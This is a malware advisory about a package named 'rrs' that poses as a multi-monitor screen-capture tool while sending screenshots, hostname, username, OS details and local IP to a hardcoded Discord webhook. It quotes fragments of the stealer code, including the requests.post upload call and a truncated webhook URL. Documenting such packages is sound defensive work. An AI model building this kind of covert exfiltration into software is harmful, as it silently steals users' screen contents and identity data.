GCVE-110-OSM-2026-12473

The `rrs` package advertises itself as a multi-monitor screen capture CLI but, on invocation, captures every attached monitor and POSTs the resulting PNG/JPEG images to a hardcoded Discord webhook controlled by the author. Alongside each upload, get_system_info() collects the machine's hostname (socket.gethostname()), OS login name (getpass.getuser()), OS name and release (platform.system()/release()), and the local IP address obtained via a UDP connect to 8.8.8.8, and embeds them in the webhook payload. The destination URL is not caller-configurable, there is no opt-out, and the exfiltration is not disclosed in the package metadata or description. This is an infostealer that turns every use of the tool into a silent upload of the installer's screen contents plus host/user fingerprint to attacker-controlled infrastructure. ENTRY rrs/__main__.py (console-script: rrs=rrs.__main__:main) DESTINATION - 4 exfil (discord-webhook, custom-c2) (values recorded in verified_iocs) EXFIL The package publishes to: - rrs/v2/presence — generated ID and username@hostname - rrs/v2/chat — chat text, sender hostname/username, timestamp - Webhook Data Exfiltration in rrs/capture.py: "discord.com/api/webhooks/1549807268294303860/dSvS280727xb5Rdpb6JOAKwBKqUCSmcOzBx..." - Python File Upload to Remote in rrs/capture.py: "requests.post(WEBHOOK_URL, data={"content": content}, files=" - System Information Exfiltration in rrs/capture.py: "socket.gethostname() except: host = "?" try: user = getpass.getuser() except: us..." - HTTP Data Exfiltration in rrs/capture.py: "getpass.getuser() except: user = "?" content = f"**RRS v{VERSION}** | Host: `{ho..." - Network Request in rrs/capture.py: "requests.post(" - System Information Collection in rrs/capture.py: "socket.gethostname()" - System Information Collection in rrs/net.py: "socket.gethostname()" ADDITIONAL FINDINGS - Brand New Package - Rapid Version Publishing PAYLOAD FILES rrs/capture.py